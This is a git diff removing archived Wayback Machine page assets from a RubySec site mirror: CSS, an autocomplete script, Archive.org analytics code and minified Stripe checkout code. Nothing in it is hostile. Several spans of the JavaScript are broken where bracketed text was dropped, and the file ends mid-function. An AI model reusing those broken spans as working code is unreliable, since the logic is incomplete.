before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-hotel:before,.fa-bed:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-yc:before,.fa-y-combinator:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-sticky-note-o:before{content:"\f24a"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-diners-club:before{content:"\f24c"}.fa-clone:before{content:"\f24d"}.fa-balance-scale:before{content:"\f24e"}.fa-hourglass-o:before{content:"\f250"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass:before{content:"\f254"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:"\f255"}.fa-hand-stop-o:before,.fa-hand-paper-o:before{content:"\f256"}.fa-hand-scissors-o:before{content:"\f257"}.fa-hand-lizard-o:before{content:"\f258"}.fa-hand-spock-o:before{content:"\f259"}.fa-hand-pointer-o:before{content:"\f25a"}.fa-hand-peace-o:before{content:"\f25b"}.fa-trademark:before{content:"\f25c"}.fa-registered:before{content:"\f25d"}.fa-creative-commons:before{content:"\f25e"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-tripadvisor:before{content:"\f262"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-firefox:before{content:"\f269"}.fa-opera:before{content:"\f26a"}.fa-internet-explorer:before{content:"\f26b"}.fa-tv:before,.fa-television:before{content:"\f26c"}.fa-contao:before{content:"\f26d"}.fa-500px:before{content:"\f26e"}.fa-amazon:before{content:"\f270"}.fa-calendar-plus-o:before{content:"\f271"}.fa-calendar-minus-o:before{content:"\f272"}.fa-calendar-times-o:before{content:"\f273"}.fa-calendar-check-o:before{content:"\f274"}.fa-industry:before{content:"\f275"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-map-o:before{content:"\f278"}.fa-map:before{content:"\f279"}.fa-commenting:before{content:"\f27a"}.fa-commenting-o:before{content:"\f27b"}.fa-houzz:before{content:"\f27c"}.fa-vimeo:before{content:"\f27d"}.fa-black-tie:before{content:"\f27e"}.fa-fonticons:before{content:"\f280"}.fa-reddit-alien:before{content:"\f281"}.fa-edge:before{content:"\f282"}.fa-credit-card-alt:before{content:"\f283"}.fa-codiepie:before{content:"\f284"}.fa-modx:before{content:"\f285"}.fa-fort-awesome:before{content:"\f286"}.fa-usb:before{content:"\f287"}.fa-product-hunt:before{content:"\f288"}.fa-mixcloud:before{content:"\f289"}.fa-scribd:before{content:"\f28a"}.fa-pause-circle:before{content:"\f28b"}.fa-pause-circle-o:before{content:"\f28c"}.fa-stop-circle:before{content:"\f28d"}.fa-stop-circle-o:before{content:"\f28e"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-hashtag:before{content:"\f292"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-percent:before{content:"\f295"}.fa-gitlab:before{content:"\f296"}.fa-wpbeginner:before{content:"\f297"}.fa-wpforms:before{content:"\f298"}.fa-envira:before{content:"\f299"}.fa-universal-access:before{content:"\f29a"}.fa-wheelchair-alt:before{content:"\f29b"}.fa-question-circle-o:before{content:"\f29c"}.fa-blind:before{content:"\f29d"}.fa-audio-description:before{content:"\f29e"}.fa-volume-control-phone:before{content:"\f2a0"}.fa-braille:before{content:"\f2a1"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asl-interpreting:before,.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-deafness:before,.fa-hard-of-hearing:before,.fa-deaf:before{content:"\f2a4"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-signing:before,.fa-sign-language:before{content:"\f2a7"}.fa-low-vision:before{content:"\f2a8"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-pied-piper:before{content:"\f2ae"}.fa-first-order:before{content:"\f2b0"}.fa-yoast:before{content:"\f2b1"}.fa-themeisle:before{content:"\f2b2"}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:"\f2b3"}.fa-fa:before,.fa-font-awesome:before{content:"\f2b4"}.fa-handshake-o:before{content:"\f2b5"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-o:before{content:"\f2b7"}.fa-linode:before{content:"\f2b8"}.fa-address-book:before{content:"\f2b9"}.fa-address-book-o:before{content:"\f2ba"}.fa-vcard:before,.fa-address-card:before{content:"\f2bb"}.fa-vcard-o:before,.fa-address-card-o:before{content:"\f2bc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-circle-o:before{content:"\f2be"}.fa-user-o:before{content:"\f2c0"}.fa-id-badge:before{content:"\f2c1"}.fa-drivers-license:before,.fa-id-card:before{content:"\f2c2"}.fa-drivers-license-o:before,.fa-id-card-o:before{content:"\f2c3"}.fa-quora:before{content:"\f2c4"}.fa-free-code-camp:before{content:"\f2c5"}.fa-telegram:before{content:"\f2c6"}.fa-thermometer-4:before,.fa-thermometer:before,.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-3:before,.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-thermometer-2:before,.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-1:before,.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-0:before,.fa-thermometer-empty:before{content:"\f2cb"}.fa-shower:before{content:"\f2cc"}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:"\f2cd"}.fa-podcast:before{content:"\f2ce"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-times-rectangle:before,.fa-window-close:before{content:"\f2d3"}.fa-times-rectangle-o:before,.fa-window-close-o:before{content:"\f2d4"}.fa-bandcamp:before{content:"\f2d5"}.fa-grav:before{content:"\f2d6"}.fa-etsy:before{content:"\f2d7"}.fa-imdb:before{content:"\f2d8"}.fa-ravelry:before{content:"\f2d9"}.fa-eercast:before{content:"\f2da"}.fa-microchip:before{content:"\f2db"}.fa-snowflake-o:before{content:"\f2dc"}.fa-superpowers:before{content:"\f2dd"}.fa-wpexplorer:before{content:"\f2de"}.fa-meetup:before{content:"\f2e0"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}section{margin-left:-15px;margin-right:-15px}section:before,section:after{content:" ";display:table}section:after{clear:both}#rubysec{margin-top:20px;font-size:18px}#rubysec .fixed-width{font-family:"Bitstream Vera Sans Mono", monospace}#rubysec .header{padding-bottom:10px;border-bottom:1px solid #eee}#rubysec .header .rubyseclogo img{width:100%}#rubysec .header .title h1 a{color:black}#rubysec .header .title p{font-weight:300}#rubysec .description{border-top:1px solid #eee;border-bottom:1px solid #eee;padding-bottom:2em}#rubysec .description a{color:#4183c4;text-decoration:none}#rubysec .description a:hover{color:#4183c4;text-decoration:underline}#rubysec .description .preamble p{margin-top:1em}#rubysec .description .project{padding-right:1em}#rubysec .new-vulns{padding-top:1em;padding-bottom:2em;text-align:center}#rubysec .new-vuln{padding-bottom:2em}#rubysec .new-vuln p,#rubysec .new-vuln ol{width:30em}#rubysec .new-vuln li{padding-top:0.5em}#rubysec #advisory-form .form-group.required .control-label:after{content:"*";color:red}#rubysec #advisory-form #advisory_presenter_description{min-height:15em}#rubysec #advisory-form .versions textarea{min-height:8em}#rubysec .disclaimer{padding-top:1em;text-align:center}#rubysec .disclaimer a{color:#4183c4;text-decoration:none}#rubysec .disclaimer a:hover{color:#4183c4;text-decoration:underline}#rubysec .disclaimer .acknowledgement{font-size:14px} - -/* - FILE ARCHIVED ON 07:59:42 Apr 17, 2019 AND RETRIEVED FROM THE - INTERNET ARCHIVE ON 15:40:57 Jan 13, 2020. - JAVASCRIPT APPENDED BY WAYBACK MACHINE, COPYRIGHT INTERNET ARCHIVE. - - ALL OTHER CONTENT MAY ALSO BE PROTECTED BY COPYRIGHT (17 U.S.C. - SECTION 108(a)(3)). -*/ -/* -playback timings (ms): - load_resource: 943.523 - PetaboxLoader3.datanode: 672.784 (5) - captures_list: 234.031 - exclusion.robots.policy: 0.174 - PetaboxLoader3.resolve: 366.1 (2) - LoadShardBlock: 104.003 (3) - CDXLines.iter: 15.563 (3) - esindex: 0.018 - RedisCDXSource: 110.379 - exclusion.robots: 0.189 -*/ \ No newline at end of file diff --git a/index_files/auto-complete.js b/index_files/auto-complete.js deleted file mode 100644 index 587c77a9..00000000 --- a/index_files/auto-complete.js +++ /dev/null @@ -1,215 +0,0 @@ -var wbAutoComplete = (function(){ - // "use strict"; - function wbAutoComplete(options){ - if (!document.querySelector) return; - - // helpers - function hasClass(el, className){ return el.classList ? el.classList.contains(className) : new RegExp('\\b'+ className+'\\b').test(el.className); } - - function addEvent(el, type, handler){ - if (el.attachEvent) el.attachEvent('on'+type, handler); else el.addEventListener(type, handler); - } - function removeEvent(el, type, handler){ - // if (el.removeEventListener) not working in IE11 - if (el.detachEvent) el.detachEvent('on'+type, handler); else el.removeEventListener(type, handler); - } - function live(elClass, event, cb, context){ - addEvent(context || document, event, function(e){ - var found, el = e.target || e.srcElement; - while (el && !(found = hasClass(el, elClass))) el = el.parentElement; - if (found) cb.call(el, e); - }); - } - - var o = { - selector: 0, - source: 0, - minChars: 3, - delay: 150, - offsetLeft: 0, - offsetTop: 1, - cache: 1, - menuClass: '', - renderItem: function (item, search){ - // escape special characters - search = search.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&'); - var re = new RegExp("(" + search.split(' ').join('|') + ")", "gi"); - return '
    ' + item.replace(re, "$1") + '
    '; - }, - onSelect: function(e, term, item){} - }; - for (var k in options) { if (options.hasOwnProperty(k)) o[k] = options[k]; } - - // init - var elems = typeof o.selector == 'object' ? [o.selector] : document.querySelectorAll(o.selector); - for (var i=0; i 0) - that.sc.scrollTop = selTop + that.sc.suggestionHeight + scrTop - that.sc.maxHeight; - else if (selTop < 0) - that.sc.scrollTop = selTop + scrTop; - } - } - } - addEvent(window, 'resize', that.updateSC); - document.body.appendChild(that.sc); - - live('wb-autocomplete-suggestion', 'mouseleave', function(e){ - var sel = that.sc.querySelector('.autocomplete-suggestion.selected'); - if (sel) setTimeout(function(){ sel.className = sel.className.replace('selected', ''); }, 20); - }, that.sc); - - live('wb-autocomplete-suggestion', 'mouseover', function(e){ - var sel = that.sc.querySelector('.wb-autocomplete-suggestion.selected'); - if (sel) sel.className = sel.className.replace('selected', ''); - this.className += ' selected'; - }, that.sc); - - live('wb-autocomplete-suggestion', 'mousedown', function(e){ - if (hasClass(this, 'wb-autocomplete-suggestion')) { // else outside click - var v = this.getAttribute('data-val'); - that.value = v; - o.onSelect(e, v, this); - that.sc.style.display = 'none'; - } - }, that.sc); - - that.blurHandler = function(){ - try { var over_sb = document.querySelector('.wb-autocomplete-suggestions:hover'); } catch(e){ var over_sb = 0; } - if (!over_sb) { - that.last_val = that.value; - that.sc.style.display = 'none'; - setTimeout(function(){ that.sc.style.display = 'none'; }, 350); // hide suggestions on fast input - } else if (that !== document.activeElement) setTimeout(function(){ that.focus(); }, 20); - }; - addEvent(that, 'blur', that.blurHandler); - - var suggest = function(data){ - var val = that.value; - that.cache[val] = data; - if (data.length && val.length >= o.minChars) { - var s = ''; - for (var i=0;i 40) && key != 13 && key != 27) { - var val = that.value; - if (val.length >= o.minChars) { - if (val != that.last_val) { - that.last_val = val; - clearTimeout(that.timer); - if (o.cache) { - if (val in that.cache) { suggest(that.cache[val]); return; } - // no requests if previous suggestions were empty - for (var i=1; i#wm-save-snapshot-open { - margin-right: 7px; - top: -6px; -} - -#wm-btns>#wm-sign-in { - box-sizing: content-box; - display: none; - margin-right: 7px; - top: -8px; - - /* - round border around sign in button - */ - border: 2px #000 solid; - border-radius: 14px; - padding-right: 2px; - padding-bottom: 2px; - width: 11px; - height: 11px; -} - -#wm-btns>#wm-sign-in>.iconochive-person { - font-size: 12.5px; -} - -#wm-save-snapshot-open > .iconochive-web { - color:#000; - font-size:160%; -} - -#wm-ipp #wm-share { - display: flex; - align-items: flex-end; - justify-content: space-between; -} - -#wm-share > #wm-screenshot { - display: inline-block; - margin-right: 3px; - visibility: hidden; -} - -#wm-screenshot > .iconochive-image { - color:#000; - font-size:160%; -} - -#wm-btns>#wm-save-snapshot-in-progress { - display: none; - font-size:160%; - opacity: 0.5; - position: relative; - margin-right: 7px; - top: -5px; -} - -#wm-btns>#wm-save-snapshot-success { - display: none; - color: green; - position: relative; - top: -7px; -} - -#wm-btns>#wm-save-snapshot-fail { - display: none; - color: red; - position: relative; - top: -7px; -} - -.wm-icon-screen-shot { - background: url("../images/web-screenshot.svg") no-repeat !important; - background-size: contain !important; - width: 22px !important; - height: 19px !important; - - display: inline-block; -} -#donato #donato-base { - height: 100%; -} -body.wm-modal { - height: auto !important; - overflow: hidden !important; -} -#donato #donato-base { - width: 100%; - height: 100%; - position: absolute; - z-index: 2147483639; -} -body.wm-modal #donato #donato-base { - position: fixed; - top: 0; - left: 0; - right: 0; - bottom: 0; - z-index: 2147483640; -} diff --git a/index_files/donate.html b/index_files/donate.html deleted file mode 100644 index 8b54ca24..00000000 --- a/index_files/donate.html +++ /dev/null @@ -1,21 +0,0 @@ - - -Donate - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/index_files/donate_data/analytics.js b/index_files/donate_data/analytics.js deleted file mode 100644 index a5aa13ce..00000000 --- a/index_files/donate_data/analytics.js +++ /dev/null @@ -1,411 +0,0 @@ -/* eslint-disable no-var, semi, prefer-arrow-callback, prefer-template */ - -/** - * Collection of methods for sending analytics events to Archive.org's analytics server. - * - * These events are used for internal stats and sent (in anonymized form) to Google Analytics. - * - * @see analytics.md - * - * @type {Object} - */ -window.archive_analytics = (function defineArchiveAnalytics() { - var ARCHIVE_ANALYTICS_VERSION = 2; - var DEFAULT_SERVICE = 'ao_2'; - - var startTime = new Date(); - - /** - * @return {Boolean} - */ - function isPerformanceTimingApiSupported() { - return 'performance' in window && 'timing' in window.performance; - } - - /** - * Determines how many milliseconds elapsed between the browser starting to parse the DOM and - * the current time. - * - * Uses the Performance API or a fallback value if it's not available. - * - * @see https://developer.mozilla.org/en-US/docs/Web/API/Performance_API - * - * @return {Number} - */ - function getLoadTime() { - var start; - - if (isPerformanceTimingApiSupported()) - start = window.performance.timing.domLoading; - else - start = startTime.getTime(); - - return new Date().getTime() - start; - } - - /** - * Determines how many milliseconds elapsed between the user navigating to the page and - * the current time. - * - * @see https://developer.mozilla.org/en-US/docs/Web/API/Performance_API - * - * @return {Number|null} null if the browser doesn't support the Performance API - */ - function getNavToDoneTime() { - if (!isPerformanceTimingApiSupported()) - return null; - - return new Date().getTime() - window.performance.timing.navigationStart; - } - - /** - * Performs an arithmetic calculation on a string with a number and unit, while maintaining - * the unit. - * - * @param {String} original value to modify, with a unit - * @param {Function} doOperation accepts one Number parameter, returns a Number - * @returns {String} - */ - function computeWithUnit(original, doOperation) { - var number = parseFloat(original, 10); - var unit = original.replace(/(\d*\.\d+)|\d+/, ''); - - return doOperation(number) + unit; - } - - /** - * Computes the default font size of the browser. - * - * @returns {String|null} computed font-size with units (typically pixels), null if it cannot be computed - */ - function getDefaultFontSize() { - var fontSizeStr; - - if (!('getComputedStyle' in window)) - return null; - - var style = window.getComputedStyle(document.documentElement); - if (!style) - return null; - - fontSizeStr = style.fontSize; - - // Don't modify the value if tracking book reader. - if (document.documentElement.classList.contains('BookReaderRoot')) - return fontSizeStr; - - return computeWithUnit(fontSizeStr, function reverseBootstrapFontSize(number) { - // Undo the 62.5% size applied in the Bootstrap CSS. - return number * 1.6; - }); - } - - /** - * Get the URL parameters for a given Location - * @param {Location} - * @return {Object} The URL parameters - */ - function getParams(location) { - if (!location) location = window.location; - var vars; - var i; - var pair; - var params = {}; - var query = location.search; - if (!query) return params; - vars = query.substring(1).split('&'); - for (i = 0; i < vars.length; i++) { - pair = vars[i].split('='); - params[pair[0]] = decodeURIComponent(pair[1]); - } - return params; - } - - return { - /** - * @type {String|null} - */ - service: null, - - /** - * Key-value pairs to send in pageviews (you can read this after a pageview to see what was - * sent). - * - * @type {Object} - */ - values: {}, - - /** - * Sends an analytics ping, preferably using navigator.sendBeacon() - * @param {Object} values - * @param {Function} [onload_callback] (deprecated) callback to invoke once ping to analytics server is done - * @param {Boolean} [augment_for_ao_site] (deprecated) if true, add some archive.org site-specific values - */ - send_ping: function send_ping(values, onload_callback, augment_for_ao_site) { - if (typeof window.navigator !== 'undefined' && typeof window.navigator.sendBeacon !== 'undefined') - this.send_ping_via_beacon(values); - else - this.send_ping_via_image(values); - }, - - /** - * Sends a ping via Beacon API - * NOTE: Assumes window.navigator.sendBeacon exists - * @param {Object} values Tracking parameters to pass - */ - send_ping_via_beacon: function send_ping_via_beacon(values) { - var url = this.generate_tracking_url(values || {}); - window.navigator.sendBeacon(url); - }, - - /** - * Sends a ping via Image object - * @param {Object} values Tracking parameters to pass - */ - send_ping_via_image: function send_ping_via_image(values) { - var url = this.generate_tracking_url(values || {}); - var loadtime_img = new Image(1, 1); - loadtime_img.src = url; - }, - - /** - * Construct complete tracking URL containing payload - * @param {Object} params Tracking parameters to pass - * @return {String} URL to use for tracking call - */ - generate_tracking_url: function generate_tracking_url(params) { - var baseUrl = '//analytics.archive.org/0.gif'; - var keys; - var outputParams = params; - var outputParamsArray = []; - - outputParams.service = outputParams.service || this.service || DEFAULT_SERVICE; - - // Build array of querystring parameters - keys = Object.keys(outputParams); - keys.forEach(function keyIteration(key) { - outputParamsArray.push(encodeURIComponent(key) + '=' + encodeURIComponent(outputParams[key])); - }); - outputParamsArray.push('version=' + ARCHIVE_ANALYTICS_VERSION); - outputParamsArray.push('count=' + (keys.length + 2)); // Include `version` and `count` in count - - return baseUrl + '?' + outputParamsArray.join('&'); - }, - - /** - * @param {int} page Page number - */ - send_scroll_fetch_event: function send_scroll_fetch_event(page) { - var additionalValues = { ev: page }; - var loadTime = getLoadTime(); - var navToDoneTime = getNavToDoneTime(); - if (loadTime) additionalValues.loadtime = loadTime; - if (navToDoneTime) additionalValues.nav_to_done_ms = navToDoneTime; - this.send_event('page_action', 'scroll_fetch', location.pathname, additionalValues); - }, - - send_scroll_fetch_base_event: function send_scroll_fetch_base_event() { - var additionalValues = {}; - var loadTime = getLoadTime(); - var navToDoneTime = getNavToDoneTime(); - if (loadTime) additionalValues.loadtime = loadTime; - if (navToDoneTime) additionalValues.nav_to_done_ms = navToDoneTime; - this.send_event('page_action', 'scroll_fetch_base', location.pathname, additionalValues); - }, - - /** - * @param {Object} [options] - * @param {String} [options.mediaType] - * @param {String} [options.mediaLanguage] - * @param {String} [options.page] The path portion of the page URL - */ - send_pageview: function send_pageview(options) { - var settings = options || {}; - - var defaultFontSize; - var loadTime = getLoadTime(); - var mediaType = settings.mediaType; - var page = settings.page; - var navToDoneTime = getNavToDoneTime(); - - /** - * @return {String} - */ - function get_locale() { - if (navigator) { - if (navigator.language) - return navigator.language; - - else if (navigator.browserLanguage) - return navigator.browserLanguage; - - else if (navigator.systemLanguage) - return navigator.systemLanguage; - - else if (navigator.userLanguage) - return navigator.userLanguage; - } - return ''; - } - - defaultFontSize = getDefaultFontSize(); - - // Set field values - this.values.kind = 'pageview'; - this.values.timediff = (new Date().getTimezoneOffset()/60)*(-1); // *timezone* diff from UTC - this.values.locale = get_locale(); - this.values.referrer = (document.referrer == '' ? '-' : document.referrer); - - if (loadTime) - this.values.loadtime = loadTime; - - if (navToDoneTime) - this.values.nav_to_done_ms = navToDoneTime; - - if (defaultFontSize) - this.values.ga_cd1 = defaultFontSize; - - if ('devicePixelRatio' in window) - this.values.ga_cd2 = window.devicePixelRatio; - - if (mediaType) - this.values.ga_cd3 = mediaType; - - if (settings.mediaLanguage) { - this.values.ga_cd4 = settings.mediaLanguage; - } - - if (page) - this.values.page = page; - - this.send_ping(this.values); - }, - - /** - * Sends a tracking "Event". - * @param {string} category - * @param {string} action - * @param {string} label - * @param {Object} additionalEventParams - */ - send_event: function send_event( - category, - action, - label, - additionalEventParams - ) { - if (!label) label = window.location.pathname; - if (!additionalEventParams) additionalEventParams = {}; - if (additionalEventParams.mediaLanguage) { - additionalEventParams.ga_cd4 = additionalEventParams.mediaLanguage; - delete additionalEventParams.mediaLanguage; - } - var eventParams = Object.assign( - { - kind: 'event', - ec: category, - ea: action, - el: label, - cache_bust: Math.random(), - }, - additionalEventParams - ); - this.send_ping(eventParams); - }, - - /** - * @param {Object} options see this.send_pageview options - */ - send_pageview_on_load: function send_pageview_on_load(options) { - var self = this; - - window.addEventListener('load', function send_pageview_with_options() { - self.send_pageview(options); - }); - }, - - /** - * Handles tracking events passed in URL. - * Assumes category and action values are separated by a "|" character. - * NOTE: Uses the unsampled analytics property. Watch out for future high click links! - * @param {Location} - */ - process_url_events: function process_url_events(location) { - var eventValues; - var actionValue; - var eventValue = getParams(location).iax; - if (!eventValue) return; - eventValues = eventValue.split('|'); - actionValue = eventValues.length >= 1 ? eventValues[1] : ''; - this.send_event( - eventValues[0], - actionValue, - window.location.pathname, - { service: 'ao_no_sampling' } - ); - }, - - /** - * Attaches handlers for event tracking. - * - * To enable click tracking for a link, add a `data-event-click-tracking` - * attribute containing the Google Analytics Event Category and Action, separated - * by a vertical pipe (|). - * e.g. `` - * - * To enable form submit tracking, add a `data-event-form-tracking` attribute - * to the `form` tag. - * e.g. `
    ` - * - * Additional tracking options can be added via a `data-event-tracking-options` - * parameter. This parameter, if included, should be a JSON string of the parameters. - * Valid parameters are: - * - service {string}: Corresponds to the Google Analytics property data values flow into - */ - set_up_event_tracking: function set_up_event_tracking() { - var self = this; - var clickTrackingAttributeName = 'event-click-tracking'; - var formTrackingAttributeName = 'event-form-tracking'; - var trackingOptionsAttributeName = 'event-tracking-options'; - - function makeActionHandler(attributeName) { - return function actionHandler(event) { - var $currentTarget; - var categoryAction; - var categoryActionParts; - var options; - var submitFormFunction; - $currentTarget = $(event.currentTarget); - if (!$currentTarget) return; - categoryAction = $currentTarget.data(attributeName); - if (!categoryAction) return; - categoryActionParts = categoryAction.split('|'); - options = $currentTarget.data(trackingOptionsAttributeName) || {}; // Converts to JSON - self.send_event( - categoryActionParts[0], - categoryActionParts[1], - window.location.pathname, - options.service ? { service: options.service } : {} - ); - }; - } - $(document).on( - 'click', - '[data-' + clickTrackingAttributeName + ']', - makeActionHandler(clickTrackingAttributeName) - ); - $(document).on( - 'submit', - 'form[data-' + formTrackingAttributeName + ']', - makeActionHandler(formTrackingAttributeName) - ); - }, - - /** - * @returns {Object[]} - */ - get_data_packets: function get_data_packets() { - return [this.values]; - }, - }; -}()); diff --git a/index_files/donate_data/checkout.js b/index_files/donate_data/checkout.js deleted file mode 100644 index 7e588ba8..00000000 --- a/index_files/donate_data/checkout.js +++ /dev/null @@ -1,4 +0,0 @@ -if(typeof JSON!=="object"){JSON={}}(function(){"use strict";function f(n){return n<10?"0"+n:n}if(typeof Date.prototype.toJSON!=="function"){Date.prototype.toJSON=function(){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"Z":null};String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(){return this.valueOf()}}var cx,escapable,gap,indent,meta,rep;function quote(string){escapable.lastIndex=0;return escapable.test(string)?'"'+string.replace(escapable,function(a){var c=meta[a];return typeof c==="string"?c:"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+string+'"'}function str(key,holder){var i,k,v,length,mind=gap,partial,value=holder[key];if(value&&typeof value==="object"&&typeof value.toJSON==="function"){value=value.toJSON(key)}if(typeof rep==="function"){value=rep.call(holder,key,value)}switch(typeof value){case"string":return quote(value);case"number":return isFinite(value)?String(value):"null";case"boolean":case"null":return String(value);case"object":if(!value){return"null"}gap+=indent;partial=[];if(Object.prototype.toString.apply(value)==="[object Array]"){length=value.length;for(i=0;iref1;i=ref<=ref1?++k:--k){if(this[i]===obj){return i}}return-1}}}).call(this);StripeCheckout.require.define({"lib/helpers":function(exports,require,module){(function(){var delurkWinPhone,helpers,uaVersionFn;uaVersionFn=function(re){return function(){var uaMatch;uaMatch=helpers.userAgent.match(re);return uaMatch&&parseInt(uaMatch[1])}};delurkWinPhone=function(fn){return function(){return fn()&&!helpers.isWindowsPhone()}};helpers={userAgent:window.navigator.userAgent,escape:function(value){return value&&(""+value).replace(/&/g,"&").replace(//g,">").replace(/\"/g,""")},trim:function(value){return value.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")},sanitizeURL:function(value){var SCHEME_WHITELIST,allowed,j,len,scheme;if(!value){return}value=helpers.trim(value);SCHEME_WHITELIST=["data:","http:","https:"];allowed=false;for(j=0,len=SCHEME_WHITELIST.length;j=3},isiPad:function(){return/(iPad)/i.test(helpers.userAgent)},isMac:delurkWinPhone(function(){return/mac/i.test(helpers.userAgent)}),isWindowsPhone:function(){return/(Windows\sPhone|IEMobile)/i.test(helpers.userAgent)},isWindowsOS:function(){return/(Windows NT \d\.\d)/i.test(helpers.userAgent)},isIE:function(){return/(MSIE ([0-9]{1,}[\.0-9]{0,})|Trident\/)/i.test(helpers.userAgent)},isChrome:function(){return"chrome"in window},isSafari:delurkWinPhone(function(){var userAgent;userAgent=helpers.userAgent;return/Safari/i.test(userAgent)&&!/Chrome/i.test(userAgent)}),isFirefox:delurkWinPhone(function(){return helpers.firefoxVersion()!=null}),isAndroidBrowser:function(){var version;version=helpers.androidWebkitVersion();return version&&version<537},isAndroidChrome:function(){var version;version=helpers.androidWebkitVersion();return version&&version>=537},isAndroidDevice:delurkWinPhone(function(){return/Android/.test(helpers.userAgent)}),isAndroidWebView:function(){return helpers.isAndroidChrome()&&/Version\/\d+\.\d+/.test(helpers.userAgent)},isAndroidFacebookApp:function(){return helpers.isAndroidChrome()&&/FBAV\/\d+\.\d+/.test(helpers.userAgent)},isNativeWebContainer:function(){return window.cordova!=null||/GSA\/\d+\.\d+/.test(helpers.userAgent)},isSupportedMobileOS:function(){return helpers.isiOS()||helpers.isAndroidDevice()},isAndroidWebapp:function(){var metaTag;if(!helpers.isAndroidChrome()){return false}metaTag=document.getElementsByName("apple-mobile-web-app-capable")[0]||document.getElementsByName("mobile-web-app-capable")[0];return metaTag&&metaTag.content==="yes"},isiOSBroken:function(){var chromeVersion;chromeVersion=helpers.iOSChromeVersion();if(helpers.iOSVersion()===9&&helpers.iOSMinorVersion()>=2&&chromeVersion&&chromeVersion<=47){return true}if(helpers.isiPad()&&helpers.iOSVersion()===8){switch(helpers.iOSMinorVersion()){case 0:return true;case 1:return helpers.iOSBuildVersion()<1}}if(helpers.isiOSFirefox()){return true}return false},couldBeBrokenSFSVC:function(){var iOSVersion;iOSVersion=helpers.iOSVersion();return(iOSVersion===9||iOSVersion===10)&&!helpers.isiOSWebView()&&!helpers.isiOSChrome()&&!helpers.isiOSFirefox()&&!helpers.isNativeWebContainer()&&!helpers.isiPad()},isSafariStandaloneMode:function(){return window.navigator&&window.navigator.standalone},getViewportTags:function(){var j,keyval,keyvalSplit,len,metaTags,ref,viewport,viewportContent;metaTags=Array.prototype.slice.call(document.getElementsByTagName("meta")).filter(function(tag){return tag.name==="viewport"&&tag.getAttribute("content")!=null});if(!metaTags.length){return{}}viewportContent=metaTags[metaTags.length-1].content;viewport={};ref=viewportContent.split(",");for(j=0,len=ref.length;jwidth){return number}leading=new Array(width-number.length+1).join(padding);return leading+number},requestAnimationFrame:function(callback){return(typeof window.requestAnimationFrame==="function"?window.requestAnimationFrame(callback):void 0)||(typeof window.webkitRequestAnimationFrame==="function"?window.webkitRequestAnimationFrame(callback):void 0)||window.setTimeout(callback,100)},requestAnimationInterval:function(func,interval){var callback,previous;previous=new Date;callback=function(){var frame,now,remaining;frame=helpers.requestAnimationFrame(callback);now=new Date;remaining=interval-(now-previous);if(remaining<=0){previous=now;func()}return frame};return callback()},getQueryParameterByName:function(name){var match;match=RegExp("[?&]"+name+"=([^&]*)").exec(window.location.search);return match&&decodeURIComponent(match[1].replace(/\+/g," "))},addQueryParameter:function(url,name,value){var 